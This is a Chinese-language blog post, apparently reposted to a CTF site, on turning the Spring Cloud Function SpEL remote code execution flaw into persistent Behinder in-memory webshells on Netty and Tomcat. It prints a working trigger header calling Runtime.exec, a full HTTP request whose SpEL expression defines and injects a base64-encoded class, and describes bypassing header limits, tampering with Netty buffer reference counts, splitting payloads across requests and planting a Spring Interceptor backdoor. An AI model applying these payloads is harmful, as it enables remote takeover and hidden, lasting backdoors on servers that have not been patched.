Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

渗透技巧 2年前 (2022) admin
647 0 0

在Spring Cloud Function SpEL RCE细节公布后,分析的文章很多,这里不再对漏洞进行分析,一直以来的习惯就是对漏洞进行包装,Java中能RCE的漏洞尽量都注入冰蝎/哥斯拉/蚁剑内存马,而不是满足于简单的回显或一句话内存马,这样做的好处是大家在实战利用的过程中更加方便,提升效率。这篇文章记录了漏洞包装的过程中克服的一些难点——无session情况下的冰蝎连接及Netty下通过Header头获取POST的body内容。


文章可分为三部分:

1.漏洞复现

2.Spring Cloud Function在Netty下如何注入冰蝎内存马

3.Spring Cloud Function在Tomcat下如何注入冰蝎内存马


改版后的冰蝎已经上传至GitHub:

https://github.com/shuimuLiu/Behinder-Base65



01
影响版本


3 <= Version <= 3.2.2(commit dc5128b之前)



02
漏洞复现


漏洞环境:

https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0


漏洞触发的URL:/functionRouter


Header头加数据:spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc”)


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


弹出计算器


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马



03
Netty内存马适配


01
单命令回显内存马


这个漏洞适配内存马的不同点是payload在header头中触发的,照抄c0ny1师傅的payload如下:


{T(org.springframework.cglib.core.ReflectUtils).defineClass(‘Memshell’,T(org.springframework.util.Base64Utils).decodeFromString(‘yv66vgAAA….’),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}


当直接把这个payload放入到header头的时候,由于header头过大导致报错


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


通过报错信息看到header的大小不能超过8192字节


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


通过和众多师傅交流,对变量名做出缩短(这是最简单的一种,但是我还没有实现4ra1n师傅的方法,从asm等角度缩小payload),Demo如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


base64编码后的大小


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


发送注册netty handler的数据包


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


数据包如下:

POST /functionRouter HTTP/1.1

Host: 127.0.0.1:8080

Accept: */*

spring.cloud.function.routing-expression: {T(org.springframework.cglib.core.ReflectUtils).defineClass(‘m’,T(org.springframework.util.Base64Utils).decodeFromString(‘xxx’),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

Content-Type: application/x-www-form-urlencoded

Content-Length: 0


执行命令


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


02
冰蝎内存马


虽然function的netty一句话内存马已经有了,打起来还是冰蝎方便些,因为Header头不能过大,所以这里选择的方案是通过线程获取到post的body,然后对body中的class进行反射调用,通过Java-Object-Searcher工具这里找到了内存中存储body的信息位置-io.netty.handler.codec.http.DefaultLastHttpContent


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


实现的Demo如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


在找到了存储body位置的信息之后,发现这里只能保存不超过8192字节的数据,那么这里想出的解决方案,是把将要在类中运行的字节码base64编码之后保存在三个类中,这个时候需要发送三次数据包,然后,最后一个数据包将前三个类中保存的base64字符串解码,注入到内存中


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


当然,这只是我的思路,实现起来还是要考虑程序具体的执行情况,主要是下面的三个问题


第一个问题


字符串发送到服务端后,服务端接收的字节大小是没有问题的,问题是无法读取字节信息,即DefaultLastHttpContent的readBytes方法出现了问题,随即debug跟进,实际上这里的readBytes是调用父类AbstractByteBuf的方法,接着跟进checkReadableBytes


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


跟进checkReadableBytes方法到AbstractByteBuf.checkReadableBytes0方法


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


这里调用ensureAccessible方法对是否可以读取字节内容进行了校验


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


跟进isAccessible方法


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


这里如果refCnt的值为1,那么会无法读取到字节


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


异常信息如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


那么反射把它的值改为2,这样就不会返回异常信息,Demo如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


第二个问题


在完成了第一校验之后,发现还是无法读取到字节信息,于是接着跟进,在修改了一次RefCnt的值之后checkReadableBytes方法通过了校验


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


那么问题应该是出在了getBytes方法这里


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


跟进checkIndex0方法,发现这个方法中没有出现异常


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


于是跟进this.unwrap().getBytes方法


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


终于在UnsafeByteBufUtil类的getBytes方法这里找到了校验方法(ensureAccessible)的调用


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


现在需要确定的点就是RefCnt在第二次校验的时候值是多少,发现其值为1


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


那么还是解决第一个问题的方法,修改refCnt的值,这里需要注意的第二次refCnt所属的对象类为PooledUnsafeDirectByteBuf,第一次refCnt所属的对象类为PooledSlicedByteBuf,而第二次refCnt所属的对象存储在第一次refCnt所属的对象类的rootParent变量中


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


所以此时的思路就是先获取到rootParent变量所存储的对象,然后修改refCnt的值,修改之后就可以读取到字节信息了,整体实现的Demo如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


冰蝎马的实现Demo如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


实现存储内存马的分段类Demo如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


整合冰蝎马内存信息的类Demo如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


第三个问题


冰蝎连接时候不成功,执行单命令回显却成功?


在使用上述方法注入冰蝎马之后并不成功,注入单命令回显的内存马却成功


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


经过对比发现


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


是Content-Type的原因,如果使用application/x-www-form-urlencoded方式,冰蝎马是可以连接的


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马



04
Tomcat下Spring内存马的注入


Netty在国内使用是否普遍不确定,但是在Tomcat下Spring是真的多


1
request如何获取body中的内容


gateway的不用多说,对于function的内存马,主要是header头大小问题,思路是通过header头中的代码获取body,经过和众多师傅交流,发现如果是在Tomcat下起的Spring环境(这也是国内的现状),那么可以通过T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getRequest().getParameter(“a”)可以获取到POST body中的a参数内容


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


2
冰蝎内存马


对于内存马的注入这里我们可以考虑注入spring的Interceptor内存马,因为之前LandGrey师傅已经提出过Demo这里直接使用就好了


首先是Interceptor的Demo,源代码如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


注入Interceptor的代码如下:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


在实际利用该内存马的时候发现,冰蝎客户端如果收到的状态码是404的话,就不会接收解密,为了不改动客户端,直接在注入内存马的时候将服务端每次response的响应码改为200


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


function发送数据包


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马


冰蝎连接:


Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马



05
参考文章


  • https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
  • https://landgrey.me/blog/19/
  • https://mp.weixin.qq.com/s/U7YJ3FttuWSOgCodVSqemg
  • https://xz.aliyun.com/t/10824#toc-4



Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马
点分享
Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马
点收藏
Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马
点点赞
Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马
点在看

原文始发于微信公众号(长亭安全课堂):Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马

版权声明:admin 发表于 2022年5月12日 下午8:08。
转载请注明:Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...